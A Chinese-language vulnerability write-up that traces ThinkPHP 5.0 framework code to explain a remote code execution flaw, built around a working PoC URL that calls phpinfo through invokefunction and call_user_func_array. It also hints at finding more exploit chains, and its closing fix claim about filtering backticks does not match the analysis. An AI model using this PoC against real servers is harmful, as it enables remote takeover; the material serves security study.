thinkphp5.0 RCE分析
遲到的關於年末爆出的tp5的RCE的分析文章。
我們先來分析以下的poc
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
分析一個MVC的框架首先最重要的一步就是要搞清楚這個框架的路由規則。我們從 index.php
開始,
define('APP_PATH', __DIR__ . '/../application/'); // 載入框架引導檔案 require __DIR__ . '/../thinkphp/start.php';
直接require了 ./../thinkphp/start.php
,跟入該檔案
<?php // +---------------------------------------------------------------------- // | ThinkPHP [ WE CAN DO IT JUST THINK ] // +---------------------------------------------------------------------- // | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved. // +---------------------------------------------------------------------- // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) // +---------------------------------------------------------------------- // | Author: liu21st <[email protected]> // +---------------------------------------------------------------------- namespace think; // ThinkPHP 引導檔案 // 1. 載入基礎檔案 require __DIR__ . '/base.php'; // 2. 執行應用 App::run()->send();
進入 App.php
的 run()
方法,該方法的實現主要步驟可簡化為:
public static function run(Request $request = null) { $request = is_null($request) ? Request::instance() : $request; try { /* ... */ $dispatch = self::$dispatch; // 未設定排程資訊則進行 URL 路由檢測 if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); } /* ... */ $data = self::exec($dispatch, $config); } catch (HttpResponseException $exception) { $data = $exception->getResponse(); } /* ... */ return $response; }
路由檢測位於 routeCheck($request,$config)
中,跟入該函式
public static function routeCheck($request, array $config) { $path= $request->path(); $depr= $config['pathinfo_depr']; $result = false; // 路由檢測 ... // 路由檢測(根據路由定義返回不同的URL排程) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); $must= !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; if ($must && false === $result) { // 路由無效 throw new RouteNotFoundException(); } } // 路由無效 解析模組/控制器/操作/引數... 支援控制器自動搜尋 if (false === $result) { $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); } return $result; }
routeCheck函式中首先通過 $request->path()
獲取了請求的path,跟進可知該值在允許相容模式時可以通過 $_GET[Config::get('var_pathinfo')]
獲取,預設情況下即 $_GET[s]
,因此我們的poc獲取到的path即為 index/\think\app/invokefunction
。之後由於路由規則中並無此規則,則進入控制器自動搜尋,即 Route::parseUrl($path, $depr, $config['controller_auto_search']);
跟進parseUrl可知thinkphp在處理路由時會用 /
分割path,對應分割結果分別匹配為模組|控制器|操作|操作引數,
因此最後獲取到的路由為
回到 App.php
中,
$data = self::exec($dispatch, $config);
這行操作是整個RCE實現的關鍵。我們跟入 exec
方法的實現
protected static function exec($dispatch, $config) { switch ($dispatch['type']) { ... case 'module': // 模組/控制器/操作 $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; ... } return $data; }
跟入 module
方法
public static function module($result, $config, $convert = null) { if (is_string($result)) { $result = explode('/', $result); } $request = Request::instance(); ... // 獲取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller; // 獲取操作名 $actionName = strip_tags($result[2] ?: $config['default_action']); ... try { $instance = Loader::controller( $controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller'] ); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); }
進入 Loader::controller
方法
public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '') { list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) { return App::invokeClass($class); } if ($empty) { $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix); if (class_exists($emptyClass)) { return new $emptyClass(Request::instance()); } } throw new ClassNotFoundException('class not exists:' . $class, $class); }
跟入 App::invokeClass
方法,
public static function invokeClass($class, $vars = []) { $reflect= new \ReflectionClass($class); $constructor = $reflect->getConstructor(); $args= $constructor ? self::bindParams($constructor, $vars) : []; return $reflect->newInstanceArgs($args); }
該方法使用php的反射機制返回指定類的一個物件,因此由我們的poc, Loader::controller
返回了 \think\app
類的一個例項。
繼續回到 App::module
方法
$action = $actionName . $config['action_suffix']; $vars = []; if (is_callable([$instance, $action])) { // 執行操作方法 $call = [$instance, $action]; // 嚴格獲取當前操作方法名 $reflect= new \ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix= $config['action_suffix']; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName); } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call = [$instance, '_empty']; $vars = [$actionName]; } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); } Hook::listen('action_begin', $call); return self::invokeMethod($call, $vars); }
可以看到 App::module
方法之後會判斷之前生成的例項是否有對應的方法,存在的話便會設定 $call
變數為 [\think\App類的例項,'invokefunction']
,最後呼叫 self::invokeMethod($call,$vars)
。跟入該方法
public static function invokeMethod($method, $vars = []) { if (is_array($method)) { $class= is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new \ReflectionMethod($class, $method[1]); } else { // 靜態方法 $reflect = new \ReflectionMethod($method); } $args = self::bindParams($reflect, $vars); self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); return $reflect->invokeArgs(isset($class) ? $class : null, $args); }
跟入 self::bindParams
,該方法用於獲取最後執行的函式的引數
private static function bindParams($reflect, $vars = []) { // 自動獲取請求變數 if (empty($vars)) { $vars = Config::get('url_param_type') ? Request::instance()->route() : Request::instance()->param(); } $args = []; if ($reflect->getNumberOfParameters() > 0) { // 判斷陣列型別 數字陣列時按順序繫結引數 reset($vars); $type = key($vars) === 0 ? 1 : 0; foreach ($reflect->getParameters() as $param) { $args[] = self::getParamValue($param, $vars, $type); } } return $args; }
預設情況下 Config::get('url_param_type')
為0,因此 $vars
被設定為 Request::instance()->param()
,在我們的poc中 $vars
即
即為我們的請求引數。之後通過判斷 $reflect
的方法中需要的引數最後返回引數列表 $args
回到 invokeMethod
方法,
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
這裡呼叫了 $reflect
的 invokeArgs
方法,即通過反射呼叫 /think/App
類的 invokefunction
方法。
public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args= self::bindParams($reflect, $vars); // 記錄執行資訊 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }
可以看到最後 invokeFunction()
相當於直接呼叫 call_user_func_array("phpinfo",[1])
可見整個RCE的原因便是由於thinkphp在獲取控制器時過濾不足導致可以任意生成類的例項呼叫指定的方法而導致的。怎樣獲取其他的可用的RCE的poc?我們可以在 Loader::controller
方法中新增一行程式碼:
$t=get_declared_classes();
在這行程式碼後的程式碼處下斷點除錯
可以看到這些類都是tp中可用的用來RCE的類,我們只需要再多研究便可發現其他的利用鏈。
修復方法也是很簡單粗暴,只需要過濾掉反引號即可。